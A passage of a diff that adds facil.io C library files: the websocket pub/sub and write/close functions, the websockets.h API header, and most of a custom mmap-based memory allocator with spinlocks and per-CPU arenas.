+      fio_protocol_try_lock((intptr_t)msg->udata1, FIO_PR_LOCK_TASK);
+  if (!pr) {
+    if (errno == EBADF)
+      return;
+    fio_message_defer(msg);
+    return;
+  }
+  websocket_sub_data_s *d = msg->udata2;
+
+  if (d->on_message)
+    d->on_message((ws_s *)pr, msg->channel, msg->msg, d->udata);
+  fio_protocol_unlock(pr, FIO_PR_LOCK_TASK);
+}
+
+static void websocket_on_unsubscribe(void *u1, void *u2) {
+  websocket_sub_data_s *d = u2;
+  if (d->on_unsubscribe) {
+    d->on_unsubscribe(d->udata);
+  }
+
+  if ((intptr_t)d->on_message == (intptr_t)WEBSOCKET_OPTIMIZE_PUBSUB) {
+    websocket_optimize4broadcasts(WEBSOCKET_OPTIMIZE_PUBSUB, 0);
+  } else if ((intptr_t)d->on_message ==
+             (intptr_t)WEBSOCKET_OPTIMIZE_PUBSUB_TEXT) {
+    websocket_optimize4broadcasts(WEBSOCKET_OPTIMIZE_PUBSUB_TEXT, 0);
+  } else if ((intptr_t)d->on_message ==
+             (intptr_t)WEBSOCKET_OPTIMIZE_PUBSUB_BINARY) {
+    websocket_optimize4broadcasts(WEBSOCKET_OPTIMIZE_PUBSUB_BINARY, 0);
+  }
+  free(d);
+  (void)u1;
+}
+
+/**
+ * Returns a subscription ID on success and 0 on failure.
+ */
+#undef websocket_subscribe
+uintptr_t websocket_subscribe(struct websocket_subscribe_s args) {
+  if (!args.ws || !fio_is_valid(args.ws->fd))
+    goto error;
+  websocket_sub_data_s *d = malloc(sizeof(*d));
+  FIO_ASSERT_ALLOC(d);
+  *d = (websocket_sub_data_s){
+      .udata = args.udata,
+      .on_message = args.on_message,
+      .on_unsubscribe = args.on_unsubscribe,
+  };
+  void (*handler)(fio_msg_s *) = websocket_on_pubsub_message;
+  if (!args.on_message) {
+    intptr_t br_type;
+    if (args.force_binary) {
+      br_type = WEBSOCKET_OPTIMIZE_PUBSUB_BINARY;
+      handler = websocket_on_pubsub_message_direct_bin;
+    } else if (args.force_text) {
+      br_type = WEBSOCKET_OPTIMIZE_PUBSUB_TEXT;
+      handler = websocket_on_pubsub_message_direct_txt;
+    } else {
+      br_type = WEBSOCKET_OPTIMIZE_PUBSUB;
+      handler = websocket_on_pubsub_message_direct;
+    }
+    websocket_optimize4broadcasts(br_type, 1);
+    d->on_message =
+        (void (*)(ws_s *, fio_str_info_s, fio_str_info_s, void *))br_type;
+  }
+  subscription_s *sub =
+      fio_subscribe(.channel = args.channel, .match = args.match,
+                    .on_unsubscribe = websocket_on_unsubscribe,
+                    .on_message = handler, .udata1 = (void *)args.ws->fd,
+                    .udata2 = d);
+  if (!sub) {
+    /* don't free `d`, return (`d` freed by fio_subscribe) */
+    return 0;
+  }
+  fio_ls_s *pos;
+  fio_lock(&args.ws->sub_lock);
+  pos = fio_ls_push(&args.ws->subscriptions, sub);
+  fio_unlock(&args.ws->sub_lock);
+
+  return (uintptr_t)pos;
+error:
+  if (args.on_unsubscribe)
+    args.on_unsubscribe(args.udata);
+  return 0;
+}
+
+/**
+ * Unsubscribes from a channel.
+ */
+void websocket_unsubscribe(ws_s *ws, uintptr_t subscription_id) {
+  fio_unsubscribe((subscription_s *)((fio_ls_s *)subscription_id)->obj);
+  fio_lock(&ws->sub_lock);
+  fio_ls_remove((fio_ls_s *)subscription_id);
+  fio_unlock(&ws->sub_lock);
+
+  (void)ws;
+}
+
+/*******************************************************************************
+The API implementation
+*/
+
+/** Returns the opaque user data associated with the websocket. */
+void *websocket_udata_get(ws_s *ws) { return ws->udata; }
+
+/** Returns the the process specific connection's UUID (see `libsock`). */
+intptr_t websocket_uuid(ws_s *ws) { return ws->fd; }
+
+/** Sets the opaque user data associated with the websocket.
+ * Returns the old value, if any. */
+void *websocket_udata_set(ws_s *ws, void *udata) {
+  void *old = ws->udata;
+  ws->udata = udata;
+  return old;
+}
+
+/**
+ * Returns 1 if the WebSocket connection is in Client mode (connected to a
+ * remote server) and 0 if the connection is in Server mode (a connection
+ * established using facil.io's HTTP server).
+ */
+uint8_t websocket_is_client(ws_s *ws) { return ws->is_client; }
+
+/** Writes data to the websocket. Returns -1 on failure (0 on success). */
+int websocket_write(ws_s *ws, fio_str_info_s msg, uint8_t is_text) {
+  if (fio_is_valid(ws->fd)) {
+    websocket_write_impl(ws->fd, msg.data, msg.len, is_text, 1, 1,
+                         ws->is_client);
+    return 0;
+  }
+  return -1;
+}
+/** Closes a websocket connection. */
+void websocket_close(ws_s *ws) {
+  fio_write2(ws->fd, .data.buffer = "\x88\x00", .length = 2,
+             .after.dealloc = FIO_DEALLOC_NOOP);
+  fio_close(ws->fd);
+  return;
+}

facil.io/lib/facil/http/websockets.h

@@ -0,0 +1,185 @@
+/*
+copyright: Boaz Segev, 2016-2019
+license: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_WEBSOCKETS_H
+#define H_WEBSOCKETS_H
+
+#include <http.h>
+
+/* support C++ */
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/** used internally: attaches the Websocket protocol to the socket. */
+void websocket_attach(intptr_t uuid, http_settings_s *http_settings,
+                      websocket_settings_s *args, void *data, size_t length);
+
+/* *****************************************************************************
+Websocket information
+***************************************************************************** */
+
+/** Returns the opaque user data associated with the websocket. */
+void *websocket_udata_get(ws_s *ws);
+
+/**
+ * Sets the opaque user data associated with the websocket.
+ *
+ * Returns the old value, if any.
+ */
+void *websocket_udata_set(ws_s *ws, void *udata);
+
+/**
+ * Returns the underlying socket UUID.
+ *
+ * This is only relevant for collecting the protocol object from outside of
+ * websocket events, as the socket shouldn't be written to.
+ */
+intptr_t websocket_uuid(ws_s *ws);
+
+/**
+ * Returns 1 if the WebSocket connection is in Client mode (connected to a
+ * remote server) and 0 if the connection is in Server mode (a connection
+ * established using facil.io's HTTP server).
+ */
+uint8_t websocket_is_client(ws_s *ws);
+
+/* *****************************************************************************
+Websocket Connection Management (write / close)
+***************************************************************************** */
+
+/** Writes data to the websocket. Returns -1 on failure (0 on success). */
+int websocket_write(ws_s *ws, fio_str_info_s msg, uint8_t is_text);
+/** Closes a websocket connection. */
+void websocket_close(ws_s *ws);
+
+/* *****************************************************************************
+Websocket Pub/Sub
+=================
+
+API for websocket pub/sub that can be used to publish messages across process
+boundries.
+
+Supports pub/sub engines (see {pubsub.h}) that can connect to a backend service
+such as Redis.
+
+The default pub/sub engine (if `NULL` or unspecified) will publish the messages
+to the process cluster (all the processes in `fio_run`).
+
+To publish to a channel, use the API provided in {pubsub.h}.
+***************************************************************************** */
+
+/** Possible arguments for the {websocket_subscribe} function. */
+struct websocket_subscribe_s {
+  /** the websocket receiving the message. REQUIRED. */
+  ws_s *ws;
+  /** the channel where the message was published. */
+  fio_str_info_s channel;
+  /**
+   * The callback that handles pub/sub notifications.
+   *
+   * Default: send directly to websocket client.
+   */
+  void (*on_message)(ws_s *ws, fio_str_info_s channel, fio_str_info_s msg,
+                     void *udata);
+  /**
+   * An optional cleanup callback for the `udata`.
+   */
+  void (*on_unsubscribe)(void *udata);
+  /** User opaque data, passed along to the notification. */
+  void *udata;
+  /** An optional callback for pattern matching. */
+  fio_match_fn match;
+  /**
+   * When using client forwarding (no `on_message` callback), this indicates if
+   * messages should be sent to the client as binary blobs, which is the safest
+   * approach.
+   *
+   * Default: tests for UTF-8 data encoding and sends as text if valid UTF-8.
+   * Messages above ~32Kb are always assumed to be binary.
+   */
+  unsigned force_binary : 1;
+  /**
+   * When using client forwarding (no `on_message` callback), this indicates if
+   * messages should be sent to the client as text.
+   *
+   * `force_binary` has precedence.
+   *
+   * Default: see above.
+   *
+   */
+  unsigned force_text : 1;
+};
+
+/**
+ * Subscribes to a channel. See {struct websocket_subscribe_s} for possible
+ * arguments.
+ *
+ * Returns a subscription ID on success and 0 on failure.
+ *
+ * All subscriptions are automatically revoked once the websocket is closed.
+ *
+ * If the connections subscribes to the same channel more than once, messages
+ * will be merged. However, another subscription ID will be assigned, since two
+ * calls to {websocket_unsubscribe} will be required in order to unregister from
+ * the channel.
+ */
+uintptr_t websocket_subscribe(struct websocket_subscribe_s args);
+
+#define websocket_subscribe(wbsckt, ...)                                       \
+  websocket_subscribe((struct websocket_subscribe_s){.ws = wbsckt, __VA_ARGS__})
+
+/**
+ * Unsubscribes from a channel.
+ *
+ * Failures are silent.
+ *
+ * All subscriptions are automatically revoked once the websocket is closed. So
+ * only use this function to unsubscribe while the websocket is open.
+ */
+void websocket_unsubscribe(ws_s *ws, uintptr_t subscription_id);
+
+/** Optimize generic broadcasts, for use in websocket_optimize4broadcasts. */
+#define WEBSOCKET_OPTIMIZE_PUBSUB (-32)
+/** Optimize text broadcasts, for use in websocket_optimize4broadcasts. */
+#define WEBSOCKET_OPTIMIZE_PUBSUB_TEXT (-33)
+/** Optimize binary broadcasts, for use in websocket_optimize4broadcasts. */
+#define WEBSOCKET_OPTIMIZE_PUBSUB_BINARY (-34)
+
+/**
+ * Enables (or disables) broadcast optimizations.
+ *
+ * This is performed automatically by the `websocket_subscribe` function.
+ * However, this function is provided for enabling the pub/sub metadata based
+ * optimizations for external connections / subscriptions.
+ *
+ * This function allows enablement (or disablement) of these optimizations:
+ *
+ * * WEBSOCKET_OPTIMIZE_PUBSUB - optimize all direct transmission messages,
+ *                               best attempt to detect Text vs. Binary data.
+ * * WEBSOCKET_OPTIMIZE_PUBSUB_TEXT - optimize direct pub/sub text messages.
+ * * WEBSOCKET_OPTIMIZE_PUBSUB_BINARY - optimize direct pub/sub binary messages.
+ *
+ * Note: to disable an optimization it should be disabled the same amount of
+ * times it was enabled - multiple optimization enablements for the same type
+ * are merged, but reference counted (disabled when reference is zero).
+ *
+ * Note2: The pub/sub metadata type ID will match the optimnization type
+ * requested (i.e., `WEBSOCKET_OPTIMIZE_PUBSUB`) and the optimized data is a
+ * FIOBJ String containing a pre-encoded WebSocket packet ready to be sent.
+ * i.e.:
+ *
+ *     FIOBJ pre_wrapped = (FIOBJ)fio_message_metadata(msg,
+ *                               WEBSOCKET_OPTIMIZE_PUBSUB);
+ *     fiobj_send_free((intptr_t)msg->udata1, fiobj_dup(pre_wrapped));
+ */
+void websocket_optimize4broadcasts(intptr_t type, int enable);
+
+#ifdef __cplusplus
+} /* extern "C" */
+#endif
+
+#endif

facil.io/lib/facil/legacy/fio_mem.c

@@ -0,0 +1,806 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+
+#if defined(__unix__) || defined(__APPLE__) || defined(__linux__)
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <time.h>
+#endif /* __unix__ */
+
+#include <pthread.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+/* *****************************************************************************
+If FIO_FORCE_MALLOC is set, use glibc / library malloc
+***************************************************************************** */
+#if FIO_FORCE_MALLOC
+
+void *fio_malloc(size_t size) { return malloc(size); }
+
+void *fio_calloc(size_t size, size_t count) { return calloc(size, count); }
+
+void fio_free(void *ptr) { free(ptr); }
+
+void *fio_realloc(void *ptr, size_t new_size) { return realloc(ptr, new_size); }
+void *fio_realloc2(void *ptr, size_t new_size, size_t valid_len) {
+  return realloc(ptr, new_size);
+  (void)valid_len;
+}
+
+void fio_malloc_after_fork(void) {}
+
+/* *****************************************************************************
+facil.io malloc implementation
+***************************************************************************** */
+#else
+
+#include <fio_mem.h>
+
+#if !defined(__clang__) && !defined(__GNUC__)
+#define __thread _Thread_value
+#endif
+
+#undef malloc
+#undef calloc
+#undef free
+#undef realloc
+
+/* *****************************************************************************
+Memory Copying by 16 byte units
+***************************************************************************** */
+
+static inline void fio_memcpy(void *__restrict dest_, void *__restrict src_,
+                              size_t units) {
+#if __SIZEOF_INT128__ == 9 /* a 128bit type exists... but tests favor 64bit */
+  register __uint128_t *dest = dest_;
+  register __uint128_t *src = src_;
+#elif SIZE_MAX == 0xFFFFFFFFFFFFFFFF /* 64 bit size_t */
+  register size_t *dest = dest_;
+  register size_t *src = src_;
+  units = units << 1;
+#elif SIZE_MAX == 0xFFFFFFFF         /* 32 bit size_t */
+  register size_t *dest = dest_;
+  register size_t *src = src_;
+  units = units << 2;
+#else                                /* unknow... assume 16 bit? */
+  register size_t *dest = dest_;
+  register size_t *src = src_;
+  units = units << 3;
+#endif
+  while (units >= 16) { /* unroll loop */
+    dest[0] = src[0];
+    dest[1] = src[1];
+    dest[2] = src[2];
+    dest[3] = src[3];
+    dest[4] = src[4];
+    dest[5] = src[5];
+    dest[6] = src[6];
+    dest[7] = src[7];
+    dest[8] = src[8];
+    dest[9] = src[9];
+    dest[10] = src[10];
+    dest[11] = src[11];
+    dest[12] = src[12];
+    dest[13] = src[13];
+    dest[14] = src[14];
+    dest[15] = src[15];
+    dest += 16;
+    src += 16;
+    units -= 16;
+  }
+  switch (units) {
+  case 15:
+    *(dest++) = *(src++); /* fallthrough */
+  case 14:
+    *(dest++) = *(src++); /* fallthrough */
+  case 13:
+    *(dest++) = *(src++); /* fallthrough */
+  case 12:
+    *(dest++) = *(src++); /* fallthrough */
+  case 11:
+    *(dest++) = *(src++); /* fallthrough */
+  case 10:
+    *(dest++) = *(src++); /* fallthrough */
+  case 9:
+    *(dest++) = *(src++); /* fallthrough */
+  case 8:
+    *(dest++) = *(src++); /* fallthrough */
+  case 7:
+    *(dest++) = *(src++); /* fallthrough */
+  case 6:
+    *(dest++) = *(src++); /* fallthrough */
+  case 5:
+    *(dest++) = *(src++); /* fallthrough */
+  case 4:
+    *(dest++) = *(src++); /* fallthrough */
+  case 3:
+    *(dest++) = *(src++); /* fallthrough */
+  case 2:
+    *(dest++) = *(src++); /* fallthrough */
+  case 1:
+    *(dest++) = *(src++);
+  }
+}
+
+/* *****************************************************************************
+Spinlock for the few locks we need (atomic reference counting & free blocks)
+***************************************************************************** */
+
+/* manage the way threads "wait" for the lock to release */
+#if defined(__unix__) || defined(__APPLE__) || defined(__linux__)
+/* nanosleep seems to be the most effective and efficient reschedule */
+#define reschedule_thread()                                                    \
+  {                                                                            \
+    const struct timespec tm = {.tv_nsec = 1};                                 \
+    nanosleep(&tm, NULL);                                                      \
+  }
+#define throttle_thread(micosec)                                               \
+  {                                                                            \
+    const struct timespec tm = {.tv_nsec = (micosec & 0xfffff),                \
+                                .tv_sec = (micosec >> 20)};                    \
+    nanosleep(&tm, NULL);                                                      \
+  }
+#else /* no effective rescheduling, just spin... */
+#define reschedule_thread()
+#define throttle_thread(micosec)
+#endif
+
+/** locks use a single byte */
+typedef volatile unsigned char spn_lock_i;
+
+/** The initail value of an unlocked spinlock. */
+#define SPN_LOCK_INIT 0
+
+/* C11 Atomics are defined? */
+#if defined(__ATOMIC_RELAXED)
+#define SPN_LOCK_BUILTIN(...) __atomic_exchange_n(__VA_ARGS__, __ATOMIC_SEQ_CST)
+/** An atomic addition operation */
+#define spn_add(...) __atomic_add_fetch(__VA_ARGS__, __ATOMIC_SEQ_CST)
+/** An atomic subtraction operation */
+#define spn_sub(...) __atomic_sub_fetch(__VA_ARGS__, __ATOMIC_SEQ_CST)
+
+/* Select the correct compiler builtin method. */
+#elif defined(__has_builtin)
+
+#if __has_builtin(__sync_fetch_and_or)
+#define SPN_LOCK_BUILTIN(...) __sync_fetch_and_or(__VA_ARGS__)
+/** An atomic addition operation */
+#define spn_add(...) __sync_add_and_fetch(__VA_ARGS__)
+/** An atomic subtraction operation */
+#define spn_sub(...) __sync_sub_and_fetch(__VA_ARGS__)
+
+#else
+#error Required builtin "__sync_swap" or "__sync_fetch_and_or" missing from compiler.
+#endif /* defined(__has_builtin) */
+
+#elif __GNUC__ > 3
+#define SPN_LOCK_BUILTIN(...) __sync_fetch_and_or(__VA_ARGS__)
+/** An atomic addition operation */
+#define spn_add(...) __sync_add_and_fetch(__VA_ARGS__)
+/** An atomic subtraction operation */
+#define spn_sub(...) __sync_sub_and_fetch(__VA_ARGS__)
+
+#else
+#error Required builtin "__sync_swap" or "__sync_fetch_and_or" not found.
+#endif
+
+/** returns 1 and 0 if the lock was successfully aquired (TRUE == FAIL). */
+static inline int spn_trylock(spn_lock_i *lock) {
+  return SPN_LOCK_BUILTIN(lock, 1);
+}
+
+/** Releases a lock. */
+static inline __attribute__((unused)) int spn_unlock(spn_lock_i *lock) {
+  return SPN_LOCK_BUILTIN(lock, 0);
+}
+
+/** returns a lock's state (non 0 == Busy). */
+static inline __attribute__((unused)) int spn_is_locked(spn_lock_i *lock) {
+  __asm__ volatile("" ::: "memory");
+  return *lock;
+}
+
+/** Busy waits for the lock. */
+static inline __attribute__((unused)) void spn_lock(spn_lock_i *lock) {
+  while (spn_trylock(lock)) {
+    reschedule_thread();
+  }
+}
+
+/* *****************************************************************************
+System Memory wrappers
+***************************************************************************** */
+
+/*
+ * allocates memory using `mmap`, but enforces block size alignment.
+ * requires page aligned `len`.
+ *
+ * `align_shift` is used to move the memory page alignment to allow for a single
+ * page allocation header. align_shift MUST be either 0 (normal) or 1 (single
+ * page header). Other values might cause errors.
+ */
+static inline void *sys_alloc(size_t len, uint8_t is_indi) {
+  void *result;
+  static void *next_alloc = NULL;
+/* hope for the best? */
+#ifdef MAP_ALIGNED
+  result =
+      mmap(next_alloc, len, PROT_READ | PROT_WRITE,
+           MAP_PRIVATE | MAP_ANONYMOUS | MAP_ALIGNED(FIO_MEMORY_BLOCK_SIZE_LOG),
+           -1, 0);
+#else
+  result = mmap(next_alloc, len, PROT_READ | PROT_WRITE,
+                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+#endif
+  if (result == MAP_FAILED)
+    return NULL;
+  if (((uintptr_t)result & FIO_MEMORY_BLOCK_MASK)) {
+    munmap(result, len);
+    result = mmap(NULL, len + FIO_MEMORY_BLOCK_SIZE, PROT_READ | PROT_WRITE,
+                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    if (result == MAP_FAILED) {
+      return NULL;
+    }
+    const uintptr_t offset =
+        (FIO_MEMORY_BLOCK_SIZE - ((uintptr_t)result & FIO_MEMORY_BLOCK_MASK));
+    if (offset) {
+      munmap(result, offset);
+      result = (void *)((uintptr_t)result + offset);
+    }
+    munmap((void *)((uintptr_t)result + len), FIO_MEMORY_BLOCK_SIZE - offset);
+  }
+  next_alloc =
+      (void *)((uintptr_t)result + FIO_MEMORY_BLOCK_SIZE +
+               (is_indi * ((uintptr_t)1 << 30))); /* add 1TB for realloc */
+  return result;
+}
+
+/* frees memory using `munmap`. requires exact, page aligned, `len` */
+static inline void sys_free(void *mem, size_t len) { munmap(mem, len); }
+
+static void *sys_realloc(void *mem, size_t prev_len, size_t new_len) {
+  if (new_len > prev_len) {
+#if defined(__linux__) && defined(MREMAP_MAYMOVE)
+    void *result = mremap(mem, prev_len, new_len, MREMAP_MAYMOVE);
+    if (result == MAP_FAILED)
+      return NULL;
+#else
+    void *result =
+        mmap((void *)((uintptr_t)mem + prev_len), new_len - prev_len,
+             PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    if (result == (void *)((uintptr_t)mem + prev_len)) {
+      result = mem;
+    } else {
+      /* copy and free */
+      munmap(result, new_len - prev_len); /* free the failed attempt */
+      result = sys_alloc(new_len, 1);     /* allocate new memory */
+      if (!result) {
+        return NULL;
+      }
+      fio_memcpy(result, mem, prev_len >> 4); /* copy data */
+      // memcpy(result, mem, prev_len);
+      munmap(mem, prev_len); /* free original memory */
+    }
+#endif
+    return result;
+  }
+  if (new_len + 4096 < prev_len) /* more than a single dangling page */
+    munmap((void *)((uintptr_t)mem + new_len), prev_len - new_len);
+  return mem;
+}
+
+/** Rounds up any size to the nearest page alignment (assumes 4096 bytes per
+ * page) */
+static inline size_t sys_round_size(size_t size) {
+  return (size & (~4095)) + (4096 * (!!(size & 4095)));
+}
+
+/* *****************************************************************************
+Data Types
+***************************************************************************** */
+
+/* The basic block header. Starts a 32Kib memory block */
+typedef struct block_s {
+  uint16_t ref; /* reference count (per memory page) */
+  uint16_t pos; /* position into the block */
+  uint16_t max; /* available memory count */
+  uint16_t pad; /* memory padding */
+} block_s;
+
+/* a per-CPU core "arena" for memory allocations  */
+typedef struct {
+  block_s *block;
+  spn_lock_i lock;
+} arena_s;
+
+/* The memory allocators persistent state */
+static struct {
+  size_t active_size; /* active array size */
+  block_s *available; /* free list for memory blocks */
+  intptr_t count;     /* free list counter */
+  size_t cores;       /* the number of detected CPU cores*/
+  spn_lock_i lock;    /* a global lock */
+} memory = {
+    .cores = 1,
+    .lock = SPN_LOCK_INIT,
+};
+
+/* The per-CPU arena array. */
+static arena_s *arenas;
+
+/* The per-CPU arena array. */
+static long double on_malloc_zero;
+
+/* *****************************************************************************
+Per-CPU Arena management
+***************************************************************************** */
+
+/* returned a locked arena. Attempts the preffered arena first. */
+static inline arena_s *arena_lock(arena_s *preffered) {
+  if (!preffered)
+    preffered = arenas;
+  if (!spn_trylock(&preffered->lock))
+    return preffered;
+  do {
+    arena_s *arena = preffered;
+    for (size_t i = (size_t)(arena - arenas); i < memory.cores; ++i) {
+      if ((preffered == arenas || arena != preffered) &&
+          !spn_trylock(&arena->lock))
+        return arena;
+      ++arena;
+    }
+    if (preffered == arenas)
+      reschedule_thread();
+    preffered = arenas;
+  } while (1);
+}
+
+static __thread arena_s *arena_last_used;
+
+static void arena_enter(void) { arena_last_used = arena_lock(arena_last_used); }
+
+static inline void arena_exit(void) { spn_unlock(&arena_last_used->lock); }
+
+/** Clears any memory locks, in case of a system call to `fork`. */
+void fio_malloc_after_fork(void) {
+  arena_last_used = NULL;
+  if (!arenas) {
+    return;
+  }
+  memory.lock = SPN_LOCK_INIT;
+  for (size_t i = 0; i < memory.cores; ++i) {
+    arenas[i].lock = SPN_LOCK_INIT;
+  }
+}
+
+/* *****************************************************************************
+Block management
+***************************************************************************** */
+
+// static inline block_s **block_find(void *mem_) {
+//   const uintptr_t mem = (uintptr_t)mem_;
+//   block_s *blk = memory.active;
+// }
+
+/* intializes the block header for an available block of memory. */
+static inline block_s *block_init(void *blk_) {
+  block_s *blk = blk_;
+  *blk = (block_s){
+      .ref = 1,
+      .pos = (2 + (sizeof(block_s) >> 4)),
+      .max = (FIO_MEMORY_BLOCK_SLICES - 1) -
+             (sizeof(block_s) >> 4), /* count available units of 16 bytes */
+  };
+  return blk;
+}
+
+/* intializes the block header for an available block of memory. */
+static inline void block_free(block_s *blk) {
+  if (spn_sub(&blk->ref, 1))
+    return;
+
+  if (spn_add(&memory.count, 1) >
+      (intptr_t)(FIO_MEM_MAX_BLOCKS_PER_CORE * memory.cores)) {
+    /* TODO: return memory to the system */
+    spn_sub(&memory.count, 1);
+    sys_free(blk, FIO_MEMORY_BLOCK_SIZE);
+    return;
+  }
+  memset(blk, 0, FIO_MEMORY_BLOCK_SIZE);
+  spn_lock(&memory.lock);
+  *(block_s **)blk = memory.available;
+  memory.available = (block_s *)blk;
+  spn_unlock(&memory.lock);
+}
+
+/* intializes the block header for an available block of memory. */
+static inline block_s *block_new(void) {
+  block_s *blk = NULL;
+
+  if (memory.available) {
+    spn_lock(&memory.lock);
+    blk = (block_s *)memory.available;
+    if (blk) {
+      memory.available = ((block_s **)blk)[0];
+    }
+    spn_unlock(&memory.lock);
+  }
+  if (blk) {
+    spn_sub(&memory.count, 1);
+    ((block_s **)blk)[0] = NULL;
+    ((block_s **)blk)[1] = NULL;
+    return block_init(blk);
+  }
+  /* TODO: collect memory from the system */
+  blk = sys_alloc(FIO_MEMORY_BLOCK_SIZE, 0);
+  if (!blk)
+    return NULL;
+  return block_init(blk);
+  ;
+}
+
+static inline void *block_slice(uint16_t units) {
+  block_s *blk = arena_last_used->block;
+  if (!blk) {
+    /* arena is empty */
+    blk = block_new();
+    arena_last_used->block = blk;
+  } else if (blk->pos + units > blk->max) {
+    /* not enough memory in the block - rotate */
+    block_free(blk);
+    blk = block_new();
+    arena_last_used->block = blk;
+  }
+  if (!blk) {
+    /* no system memory available? */
+    errno = ENOMEM;
+    return NULL;
+  }
+  /* slice block starting at blk->pos and increase reference count */
+  const void *mem = (void *)((uintptr_t)blk + ((uintptr_t)blk->pos << 4));
+  spn_add(&blk->ref, 1);
+  blk->pos += units;
+  if (blk->pos >= blk->max) {
+    /* it's true that a 16 bytes slice remains, but statistically... */
+    /* ... the block was fully utilized, clear arena */
+    block_free(blk);
+    arena_last_used->block = NULL;
+  }
+  return (void *)mem;
+}
+
+static inline void block_slice_free(void *mem) {
+  /* locate block boundary */
+  block_s *blk = (block_s *)((uintptr_t)mem & (~FIO_MEMORY_BLOCK_MASK));
+  block_free(blk);
+}
+
+/* *****************************************************************************
+Non-Block allocations (direct from the system)
+***************************************************************************** */
+
+static inline void *big_alloc(size_t size) {
+  size = sys_round_size(size + 16);
+  size_t *mem = sys_alloc(size, 1);
+  if (!mem)
+    goto error;
+  *mem = size;
+  return (void *)(((uintptr_t)mem) + 16);
+error:
+  return NULL;
+}
+
+static inline void big_free(void *ptr) {
+  size_t *mem = (void *)(((uintptr_t)ptr) - 16);
+  sys_free(mem, *mem);
+}
+
+static inline void *big_realloc(void *ptr, size_t new_size) {
+  size_t *mem = (void *)(((uintptr_t)ptr) - 16);
+  new_size = sys_round_size(new_size + 16);
+  mem = sys_realloc(mem, *mem, new_size);
+  if (!mem)
+    goto error;
+  *mem = new_size;
+  return (void *)(((uintptr_t)mem) + 16);
+error:
+  return NULL;
+}
+
+/* *****************************************************************************
+Library Initialization (initialize arenas and allocate a block for each CPU)
+***************************************************************************** */
+
+static void __attribute__((constructor)) fio_mem_init(void) {
+  if (arenas)
+    return;
+
+#ifdef _SC_NPROCESSORS_ONLN
+  ssize_t cpu_count = sysconf(_SC_NPROCESSORS_ONLN);
+#else
+#warning Dynamic CPU core count is unavailable - assuming 8 cores for memory allocation pools.
+  ssize_t cpu_count = 8; /* fallback */
+#endif
+  memory.cores = cpu_count;
+  memory.count = 0 - (intptr_t)cpu_count;
+  arenas = big_alloc(sizeof(*arenas) * cpu_count);
+  if (!arenas) {
+    perror("FATAL ERROR: Couldn't initialize memory allocator");
+    exit(errno);
+  }
+  size_t pre_pool = cpu_count > 32 ? 32 : cpu_count;
+  for (size_t i = 0; i < pre_pool; ++i) {
+    void *block = sys_alloc(FIO_MEMORY_BLOCK_SIZE, 0);
+    if (block) {
+      block_init(block);
+      block_free(block);
+    }
+  }
+  pthread_atfork(NULL, NULL, fio_malloc_after_fork);
+}
+
+static void __attribute__((destructor)) fio_mem_destroy(void) {
+  if (!arenas)
+    return;
+
+  arena_s *arena = arenas;
+  for (size_t i = 0; i < memory.cores; ++i) {
+    if (arena->block)
+      block_free(arena->block);
+    arena->block = NULL;
+    ++arena;
+  }
+  while (memory.available) {
+    block_s *b = memory.available;
+    memory.available = *(block_s **)b;
+    sys_free(b, FIO_MEMORY_BLOCK_SIZE);
+  }
+  big_free(arenas);
+  arenas = NULL;
+}
+
+/* *****************************************************************************
+Memory allocation / deacclocation API
+***************************************************************************** */
+
+void *fio_malloc(size_t size) {
+#if FIO_OVERRIDE_MALLOC
+  if (!arenas)
+    fio_mem_init();
+#endif
+  if (!size) {
+    /* changed behavior prevents "allocation failed" test for `malloc(0)` */
+    return (void *)(&on_malloc_zero);
+  }
+  if (size >= FIO_MEMORY_BLOCK_ALLOC_LIMIT) {
+    /* system allocation - must be block aligned */
+    return big_alloc(size);
+  }
+  /* ceiling for 16 byte alignement, translated to 16 byte units */
+  size = (size >> 4) + (!!(size & 15));
+  arena_enter();
+  void *mem = block_slice(size);
+  arena_exit();
+  return mem;
+}
+
+void *fio_calloc(size_t size, size_t count) {
+  return fio_malloc(size * count); // memory is pre-initialized by mmap or pool.
+}
+
+void fio_free(void *ptr) {
+  if (!ptr || ptr == (void *)&on_malloc_zero)
+    return;
+  if (((uintptr_t)ptr & FIO_MEMORY_BLOCK_MASK) == 16) {
+    /* big allocation - direct from the system */
+    big_free(ptr);
+    return;
+  }
+  /* allocated within block */
+  block_slice_free(ptr);
+}
+
+/**
+ * Re-allocates memory. An attept to avoid copying the data is made only for big
+ * memory allocations.
+ *
+ * This variation is slightly faster as it might copy less data
+ */
+void *fio_realloc2(void *ptr, size_t new_size, size_t copy_length) {
+  if (!ptr || ptr == (void *)&on_malloc_zero)
+    return fio_malloc(new_size);
+  if (!new_size) {
+    goto zero_size;
+  }
+  if (((uintptr_t)ptr & FIO_MEMORY_BLOCK_MASK) == 16) {
+    /* big reallocation - direct from the system */
+    return big_realloc(ptr, new_size);
+  }
+  /* allocated within block - don't even try to expand the allocation */
+  /* ceiling for 16 byte alignement, translated to 16 byte units */
+  void *new_mem = fio_malloc(new_size);
+  if (!new_mem)
+    return NULL;
+  new_size = ((new_size >> 4) + (!!(new_size & 15)));
+  copy_length = ((copy_length >> 4) + (!!(copy_length & 15)));
+  // memcpy(new_mem, ptr, (copy_length > new_size ? new_size : copy_length) <<
+  // 4);
+  fio_memcpy(new_mem, ptr, (copy_length > new_size ? new_size : copy_length));
+  block_slice_free(ptr);
+  return new_mem;
+zero_size:
+  fio_free(ptr);
+  return malloc(0);
+}
+
+void *fio_realloc(void *ptr, size_t new_size) {
+  const size_t max_old =
+      FIO_MEMORY_BLOCK_SIZE - ((uintptr_t)ptr & FIO_MEMORY_BLOCK_MASK);
+  return fio_realloc2(ptr, new_size, max_old);
+}
+
+/**
+ * Allocates memory directly using `mmap`, this is prefered for larger objects
+ * that have a long lifetime.
+ *
+ * `fio_free` can be used for deallocating the memory.
+ */
+void *fio_mmap(size_t size) {
+  if (!size) {
+    return NULL;
+  }
+  return big_alloc(size);
+}
+
+/* *****************************************************************************
+FIO_OVERRIDE_MALLOC - override glibc / library malloc
+***************************************************************************** */
+#if FIO_OVERRIDE_MALLOC
